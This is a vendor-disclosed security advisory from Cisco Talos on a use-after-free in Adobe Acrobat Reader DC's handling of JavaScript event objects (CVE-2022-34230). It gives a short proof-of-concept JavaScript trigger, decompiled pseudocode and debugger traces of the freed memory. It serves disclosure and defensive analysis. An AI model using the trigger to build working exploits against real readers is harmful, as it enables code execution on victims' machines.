CVE-2022-34230
A use-after-free vulnerability exists in the way Adobe Acrobat Reader DC 2022.001.20117 deals with event objects across different event types. A specially-crafted PDF document can trigger this vulnerability, which can lead to arbitrary code execution. A victim needs to open the malicious file to trigger this vulnerability.
Adobe Acrobat Reader 2022.001.20117
Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially-crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and provides additional attack surface. Javascript allows manipulation of form fields, annotations and other page content in a PDF document.
Adobe’s PDF JavaScript environment always has an Event
object associated with the current execution. There are different types of event objects available inside different event handlers, such as a field event object or page open event object. There exists a use-after-free vulnerability in the way Adobe Acrobat handles the lifetime of these objects. Following excerpt from the PoC demonstrates this vulnerability:
function main() {
getField("txt2").setAction("OnFocus",'fieldFocusHandler();');
getField('txt2').setFocus();
}
function fieldFocusHandler() {
this.pageNum = 1;
a = this.event;
}
function pageOpenHandler() {
this.addAnnot({page: 1, type: "Sound", point: [2,2,14,11],hidden : this.event,readOnly : true});
}
this.pageNum = 0;
main();
In the above excerpt , function fieldFocusHandler
is set to be a handler for OnFocus
event for field txt2
. Additionally, function pageOpenHandler
is set up to be an action triggered once Acrobat navigates to page 1 (as opposed to page 0). To kick off, function main
sets the event handler and focuses on field txt2
, which kicks off the execution of fieldFocusHandler
. Function fieldFocusHandler
navigates to page 1 and makes a reference to its own this.event
object. Navigating to page 1 triggers the pageOpenHandler
action in which this.event
is used as part of a addAnnot
call. Normally, this.event
objects are freed after the event is handled, but in this case (due to saved reference) a stale memory reference is retained which later triggers a use-after-free inside pageOpenHandler
. In particular, the use-after-free happens because a value
property of event
object is accessed. Field event objects can have a value assigned, but page event objects do not. It is this value
property that is being accessed during a call to addAnnot
that causes use-after-free.
To illustrate this , we can follow the execution in the debugger. Before the crash, we can observe the part of the code where the stale reference is first used :
0:000> bp AcroForm!hb_ot_tags_to_script_and_language+0x62abe
Bp expression 'AcroForm!hb_ot_tags_to_script_and_language+0x62abe' could not be resolved, adding deferred bp
0:000> g
Breakpoint 0 hit
eax=e2f90fe8 ebx=00000001 ecx=0000033f edx=6537e068 esi=67103b40 edi=e5770ff0
eip=64e1353e esp=006fda5c ebp=006fda84 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
AcroForm!hb_ot_tags_to_script_and_language+0x62abe:
64e1353e 50 push eax
0:000> dd eax
e2f90fe8 08d859f4 dcbabbbb 00000001 4bc30ff0
e2f90ff8 cf8e6ff0 d0d0d0d0 ???????? ????????
e2f91008 ???????? ???????? ???????? ????????
e2f91018 ???????? ???????? ???????? ????????
e2f91028 ???????? ???????? ???????? ????????
e2f91038 ???????? ???????? ???????? ????????
e2f91048 ???????? ???????? ???????? ????????
e2f91058 ???????? ???????? ???????? ????????
Note that eax
points just at the very end of an object, with certain fields looking like heap guard values. Continuing execution leads to the following crash:
0:000> g
(60c.1610): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=dcbabbbb ecx=00000000 edx=dcbabbbb esi=7fffffff edi=00000000
eip=63c331cb esp=006fd9e8 ebp=006fd9ec iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
EScript!PlugInMain+0x15eb:
63c331cb 3802 cmp byte ptr [edx],al ds:002b:dcbabbbb=??
The crash occurs in the function that is called right after the above breakpoint, where eax
was pushed onto the stack as first argument. The crash occurs due to access violation. Note that, even though PageHeap is employed in this debugging session, it isn’t fully effective due to the way different parts of Acrobat use heaps. If we examine the function in which the above breakpoint is placed, we can see the following pseudocode:
__int16 __cdecl sub_20A934B0(int a1, int a2, int a3)
{
wchar_t *v3; // edi
int v4; // eax
int v6; // [esp-4h] [ebp-2Ch]
(*(dword_21472CA4 + 8))(0, sub_208868A0);
v3 = (*(dword_21471158 + 51))(a1, "Event");
if ( v3 && (*(dword_21472CB8 + 180))(*(dword_21472CB8 + 180), v3, "esValue") )
{
v4 = sub_20A4AD55(v3, "esValue", "EStr"); [1]
v6 = sub_20872322(v4); [2]
(*(dword_21471158 + 31))(a3, v6);
}
else
{
(*(dword_21471158 + 31))(a3, &word_20FFA1F0);
}
(*(dword_21472CA4 + 12))(*(dword_21472CA4 + 12));
return 1;
}
This pseudocode is indicative of a function that is accessing the value
property of an event object as a string. The stale reference is retrieved at a function call at [1], and the crash occurs during a call at [2].
To better understand what is happening, let’s examine the regular, valid, access to event.value
inside filed event handler fieldFocusHandler
. In a debugger, we can place a breakpoint at the same point in the code where the stale value in eax
is retrieved:
Breakpoint 0 hit
eax=0ce295e4 ebx=00000001 ecx=6714af20 edx=04000010 esi=6714af20 edi=4120cff0
eip=64dcad75 esp=00b8daa0 ebp=00b8dab0 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
AcroForm!hb_ot_tags_to_script_and_language+0x1a2f5:
64dcad75 ffd6 call esi {AcroRd32_67090000!DllCanUnloadNow+0x127b0 (6714af20)}
0:000> bp AcroRd32_67090000!DllCanUnloadNow+0x127e5
0:000> g
Breakpoint 1 hit
eax=38e66ff0 ebx=00000001 ecx=0000033f edx=6537e068 esi=4692efea edi=4120cff0
eip=6714af55 esp=00b8da94 ebp=00b8da98 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
AcroRd32_67090000!DllCanUnloadNow+0x127e5:
6714af55 8b400c mov eax,dword ptr [eax+0Ch] ds:002b:38e66ffc=357d4fe8
Above, breakpoint 0 is the start of the code that retrieves the final value, and breakpoint 1 is where the final value comes from precisely. If we examine the memory pointed to by eax
before dereference:
0:000> dd eax
38e66ff0 0000033f 00000001 00000000 357d4fe8
38e67000 ???????? ???????? ???????? ????????
38e67010 ???????? ???????? ???????? ????????
38e67020 ???????? ???????? ???????? ????????
38e67030 ???????? ???????? ???????? ????????
38e67040 ???????? ???????? ???????? ????????
38e67050 ???????? ???????? ???????? ????????
38e67060 ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
address 38e66ff0 found in
_DPH_HEAP_ROOT @ 88e1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2f123af8: 38e66ff0 10 - 38e66000 2000
693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
776f245b ntdll!RtlDebugAllocateHeap+0x00000039
77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77655d3e ntdll!RtlAllocateHeap+0x0000003e
76d0f0c7 ucrtbase!_calloc_base+0x00000037
670f0a20 AcroRd32_67090000!AcroWinMainSandbox+0x000050e0
670f09db AcroRd32_67090000!AcroWinMainSandbox+0x0000509b
6714a238 AcroRd32_67090000!DllCanUnloadNow+0x00011ac8
64fc0587 AcroForm!DllUnregisterServer+0x00175637
64fb9864 AcroForm!DllUnregisterServer+0x0016e914
64fbd2ea AcroForm!DllUnregisterServer+0x0017239a
67304f97 AcroRd32_67090000!DllCanUnloadNow+0x001cc827
6733a912 AcroRd32_67090000!DllCanUnloadNow+0x002021a2
67de8836 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048a946
67de9db0 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048bec0
6808ba5d AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072db6d
6728811f AcroRd32_67090000!DllCanUnloadNow+0x0014f9af
6808bf95 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072e0a5
67deacf3 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048ce03
67a70bf6 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x00112d06
64e8f7d9 AcroForm!DllUnregisterServer+0x00044889
67162110 AcroRd32_67090000!DllCanUnloadNow+0x000299a0
67161803 AcroRd32_67090000!DllCanUnloadNow+0x00029093
671615a7 AcroRd32_67090000!DllCanUnloadNow+0x00028e37
670f6c0d AcroRd32_67090000!AcroWinMainSandbox+0x0000b2cd
7738bf1b USER32!_InternalCallWinProc+0x0000002b
773883ea USER32!UserCallWinProcCheckWow+0x000003aa
77387c9e USER32!DispatchMessageWorker+0x0000020e
77387a80 USER32!DispatchMessageW+0x00000010
671601f9 AcroRd32_67090000!DllCanUnloadNow+0x00027a89
6715fe2e AcroRd32_67090000!DllCanUnloadNow+0x000276be
Note the contents of the object and that its size is precisely 16 bytes. The instruction on which the breakpoint is placed dereferences a pointer at offset 12, which in this instance contains 0x357d4fe8. If we further examine the memory pointed to by that pointer, we observe:
0:000> dd poi(eax+0xc)
357d4fe8 00000002 46844fe0 00000002 00000020
357d4ff8 00000000 00000000 ???????? ????????
357d5008 ???????? ???????? ???????? ????????
357d5018 ???????? ???????? ???????? ????????
357d5028 ???????? ???????? ???????? ????????
357d5038 ???????? ???????? ???????? ????????
357d5048 ???????? ???????? ???????? ????????
357d5058 ???????? ???????? ???????? ????????
0:000> !heap -p -a poi(eax+0xc)
address 357d4fe8 found in
_DPH_HEAP_ROOT @ 88e1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
35712ac4: 357d4fe8 18 - 357d4000 2000
693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
776f245b ntdll!RtlDebugAllocateHeap+0x00000039
77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77655d3e ntdll!RtlAllocateHeap+0x0000003e
76d11406 ucrtbase!_malloc_base+0x00000026
670f0749 AcroRd32_67090000!AcroWinMainSandbox+0x00004e09
64be0d76 AcroForm!PlugInMain+0x00000a46
64be0d12 AcroForm!PlugInMain+0x000009e2
64be7328 AcroForm!PlugInMain+0x00006ff8
64cafd05 AcroForm!hb_set_invert+0x000c7d55
64f3fd33 AcroForm!DllUnregisterServer+0x000f4de3
64fc0558 AcroForm!DllUnregisterServer+0x00175608
64fb9864 AcroForm!DllUnregisterServer+0x0016e914
64fbd2ea AcroForm!DllUnregisterServer+0x0017239a
67304f97 AcroRd32_67090000!DllCanUnloadNow+0x001cc827
6733a912 AcroRd32_67090000!DllCanUnloadNow+0x002021a2
67de8836 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048a946
67de9db0 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048bec0
6808ba5d AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072db6d
6728811f AcroRd32_67090000!DllCanUnloadNow+0x0014f9af
6808bf95 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072e0a5
67deacf3 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048ce03
67a70bf6 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x00112d06
64e8f7d9 AcroForm!DllUnregisterServer+0x00044889
67162110 AcroRd32_67090000!DllCanUnloadNow+0x000299a0
67161803 AcroRd32_67090000!DllCanUnloadNow+0x00029093
671615a7 AcroRd32_67090000!DllCanUnloadNow+0x00028e37
670f6c0d AcroRd32_67090000!AcroWinMainSandbox+0x0000b2cd
7738bf1b USER32!_InternalCallWinProc+0x0000002b
773883ea USER32!UserCallWinProcCheckWow+0x000003aa
77387c9e USER32!DispatchMessageWorker+0x0000020e
Again, a valid object of size 0x18.
Now, if we continue execution, and break as the this.value
is being dereferenced inside pageOpenHandler
just before the crash, we can observe the following:
Breakpoint 1 hit
eax=38e66ff0 ebx=00000001 ecx=0000033f edx=6537e068 esi=4692efea edi=4120cff0
eip=6714af55 esp=00b8d91c ebp=00b8d920 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
AcroRd32_67090000!DllCanUnloadNow+0x127e5:
6714af55 8b400c mov eax,dword ptr [eax+0Ch] ds:002b:38e66ffc=357d4fe8
0:000> dd eax
38e66ff0 0000033f 00000001 00000000 357d4fe8
38e67000 ???????? ???????? ???????? ????????
38e67010 ???????? ???????? ???????? ????????
38e67020 ???????? ???????? ???????? ????????
38e67030 ???????? ???????? ???????? ????????
38e67040 ???????? ???????? ???????? ????????
38e67050 ???????? ???????? ???????? ????????
38e67060 ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
address 38e66ff0 found in
_DPH_HEAP_ROOT @ 88e1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2f123af8: 38e66ff0 10 - 38e66000 2000
693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
776f245b ntdll!RtlDebugAllocateHeap+0x00000039
77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77655d3e ntdll!RtlAllocateHeap+0x0000003e
76d0f0c7 ucrtbase!_calloc_base+0x00000037
670f0a20 AcroRd32_67090000!AcroWinMainSandbox+0x000050e0
670f09db AcroRd32_67090000!AcroWinMainSandbox+0x0000509b
6714a238 AcroRd32_67090000!DllCanUnloadNow+0x00011ac8
64fc0587 AcroForm!DllUnregisterServer+0x00175637
64fb9864 AcroForm!DllUnregisterServer+0x0016e914
64fbd2ea AcroForm!DllUnregisterServer+0x0017239a
67304f97 AcroRd32_67090000!DllCanUnloadNow+0x001cc827
6733a912 AcroRd32_67090000!DllCanUnloadNow+0x002021a2
67de8836 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048a946
67de9db0 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048bec0
6808ba5d AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072db6d
6728811f AcroRd32_67090000!DllCanUnloadNow+0x0014f9af
6808bf95 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072e0a5
67deacf3 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048ce03
67a70bf6 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x00112d06
64e8f7d9 AcroForm!DllUnregisterServer+0x00044889
67162110 AcroRd32_67090000!DllCanUnloadNow+0x000299a0
67161803 AcroRd32_67090000!DllCanUnloadNow+0x00029093
671615a7 AcroRd32_67090000!DllCanUnloadNow+0x00028e37
670f6c0d AcroRd32_67090000!AcroWinMainSandbox+0x0000b2cd
7738bf1b USER32!_InternalCallWinProc+0x0000002b
773883ea USER32!UserCallWinProcCheckWow+0x000003aa
77387c9e USER32!DispatchMessageWorker+0x0000020e
77387a80 USER32!DispatchMessageW+0x00000010
671601f9 AcroRd32_67090000!DllCanUnloadNow+0x00027a89
6715fe2e AcroRd32_67090000!DllCanUnloadNow+0x000276be
Note that the object pointed to by eax
is exactly the same as before. Same size and same allocation call stack. Even the pointer at offset 12 is the same. However, the memory that pointer points to is now different and belongs to a different allocation:
0:000> dd poi(eax+0xc)
357d4fe8 00000000 00000000 00000000 00000000
357d4ff8 00000000 d0d0d0d0 ???????? ????????
357d5008 ???????? ???????? ???????? ????????
357d5018 ???????? ???????? ???????? ????????
357d5028 ???????? ???????? ???????? ????????
357d5038 ???????? ???????? ???????? ????????
357d5048 ???????? ???????? ???????? ????????
357d5058 ???????? ???????? ???????? ????????
0:000> !heap -p -a poi(eax+0xc)
address 357d4fe8 found in
_DPH_HEAP_ROOT @ 88e1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
35712ac4: 357d4bf0 40c - 357d4000 2000
? CoolType!CTGetVersion+16c5dc
693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
776f245b ntdll!RtlDebugAllocateHeap+0x00000039
77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77655d3e ntdll!RtlAllocateHeap+0x0000003e
76d11406 ucrtbase!_malloc_base+0x00000026
670f0749 AcroRd32_67090000!AcroWinMainSandbox+0x00004e09
66d44898 CoolType!CTInit+0x00001288
66d65863 CoolType!CTInit+0x00022253
66dab827 CoolType!CTInit+0x00068217
66db2421 CoolType!CTInit+0x0006ee11
66da1b00 CoolType!CTInit+0x0005e4f0
66db174c CoolType!CTInit+0x0006e13c
66db75b5 CoolType!CTInit+0x00073fa5
66db74c3 CoolType!CTInit+0x00073eb3
66dc9c22 CoolType!CTInit+0x00086612
66dc992b CoolType!CTInit+0x0008631b
66dc9579 CoolType!CTInit+0x00085f69
66dc9391 CoolType!CTInit+0x00085d81
64ccf780 AcroForm!hb_set_invert+0x000e77d0
64ccf117 AcroForm!hb_set_invert+0x000e7167
The allocation 0x357d4fe8 now points to is an object of size 0x40c that is allocated via a different code path entirely. Therefore 0x357d4fe8 represents a stale reference, which in this context constitutes a use-after-free vulnerability.
With precise memory layout manipulation between field event handler returning and this.event
being used inside the call to addAnnot
, an attacker could gain control over the freed memory and cause further memory corruption, which can ultimately result in arbitrary code execution.
2022-06-08 - Vendor Disclosure
2022-07-13 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.